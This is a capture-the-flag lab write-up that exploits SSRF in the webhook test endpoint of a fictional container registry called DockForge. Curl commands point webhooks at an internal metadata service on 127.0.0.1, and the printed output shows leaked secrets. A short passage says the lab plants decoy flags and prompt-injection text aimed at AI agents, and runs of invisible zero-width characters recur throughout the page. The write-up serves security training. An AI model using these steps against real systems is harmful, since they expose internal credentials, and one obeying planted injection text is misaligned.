← Back to Writeups
CUSTOMMediumWeb

Lab 205 — DockForge — SSRF in Webhook Test Endpoint

XESXOR9/10/20264 min read
#web#custom#medium#full_read_ssrf#internal_service_discovery#no_url_validation#ssrf_via_webhook#webhook_test_endpoint_abuse#linux

Lab 205 — DockForge — SSRF in Webhook Test Endpoint

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: full_read_ssrf, internal_service_discovery, no_url_validation, ssrf_via_webhook, webhook_test_endpoint_abuse

Summary

Task: DockForge container registry with webhook test feature that performs server-side HTTP requests without SSRF protection. Solution: Created webhook pointing to internal metadata service (127.0.0.1:3001) disclosed in settings page, triggered test delivery to extract secrets via full-read SSRF.

Lab 205 — DockForge — SSRF in Webhook Test Endpoint — HackAdvisor

Description

DockForge is a container image registry platform used by development teams at NorthStar DevOps to store, manage, and distribute Docker images. The platform supports project-based access control, vulnerability scanning reports, and webhook notifications for CI/CD pipeline integration.

You have been given a standard user account to assess the platform's security. Your goal is to explore the application features and find a way to access sensitive internal data that should not be reachable from the outside.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Docker container registry platform (DockForge v2.4.1) with project management, image tagging, and webhook notifications. The goal is to access sensitive internal data using a standard user account. The platform runs internal services including a metadata service on localhost.

Analysis

Application Stack

  • Backend: Node.js/Express behind nginx/1.25.5
  • Auth: Form-based login (POST /login), session cookie (connect.sid)
  • Version: DockForge v2.4.1 — Enterprise Container Registry ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Analysis Traps

The login page contains decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and HTML comments, along with prompt injection text designed to trick AI agents into accepting the fake flag and stopping early. These are not real flags.

Application Features

  • Dashboard (/): Shows 7 projects, 45 image tags, 159K pulls, 8 users. Activity feed mentions webhook deliveries.
  • Projects (/projects): Lists container image repositories (web-frontend, api-gateway, auth-service, data-pipeline, notification-worker, vulnerability-scanner, garbage-collector). Each project has "Image Tags" and "Webhooks" tabs.
  • Settings (/settings): Critical information disclosure — shows "Internal Services" table:
    • Registry API: 0.0.0.0:8080 (HTTP, Running)
    • Metadata Service: 127.0.0.1:3001 (Internal HTTP, Running)
    • Garbage Collector: Idle (cron) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Webhook Feature

  • Located at /projects/{id}/webhooks for each project
  • Existing webhooks point to external CI/CD endpoints (Slack, CI server)
  • Each webhook has a "Test" button that calls POST /api/projects/{projectId}/webhooks/{webhookId}/test
  • The test response includes response_body — the full response from the target server
  • JavaScript file /js/webhooks.js confirmed the API:
    • POST /api/projects/{id}/webhooks — Create webhook (JSON: url, event_types, description)
    • POST /api/projects/{id}/webhooks/{id}/test — Trigger test delivery
    • DELETE /api/projects/{id}/webhooks/{id} — Delete webhook ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The webhook creation endpoint accepts any URL including internal/private IP addresses (127.0.0.1, 0.0.0.0, etc.) — no URL validation, no SSRF blocklist, no DNS rebinding protection. Combined with the test endpoint returning the full response body, this creates a full-read SSRF.

Solution

Step 1: Login and Reconnaissance

bash
TARGET="http://<target>"

# Login and save session cookie
curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Check settings page for internal service info
curl -sk -b cookies.txt "$TARGET/settings"
# Reveals: Metadata Service at 127.0.0.1:3001

Step 2: Create SSRF Webhook Targeting Internal Metadata Service

bash
# Create webhook pointing to internal metadata service root
curl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/","event_types":"push","description":"test"}'
# Response: {"id":6,"secret":"19fb87a25dcb3da2ea39c8c805e88582"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

No URL validation — 127.0.0.1 accepted directly.

Step 3: Trigger Test to Discover Internal API Routes

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks/6/test" \
  -H "Content-Type: application/json"

Response reveals internal API endpoints:

json
{
  "success": true,
  "status_code": 404,
  "response_body": {
    "error": "Not found",
    "available": [
      "GET /health",
      "GET /internal/config",
      "GET /internal/secrets",
      "GET /internal/services"
    ]
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Create Second Webhook to Extract Secrets

bash
# Create webhook targeting the secrets endpoint
curl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/internal/secrets","event_types":"push","description":"test2"}'
# Response: {"id":7,"secret":"9f7ad44944b98e18bffcd711c9b3a881"}

Step 5: Trigger Test to Extract Flag

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks/7/test" \
  -H "Content-Type: application/json"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response containing the flag and all production secrets:

json
{
  "success": true,
  "status_code": 200,
  "response_body": {
    "service": "dockforge-metadata",
    "environment": "production",
    "secrets": {
      "registry_master_key": "FLAG{REDACTED}",
      "jwt_signing_key": "hs256-dockforge-int-8f3a2c1e",
      "s3_access_key": "AKIAIOSFODNN7DOCKFRG",
      "s3_secret_key": "wJalrXUtnFEMI/K7MDENG/bDocKfRgExAmPleKeY",
      "db_encryption_passphrase": "aes256gcm-northstar-prod-2024"
    }
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍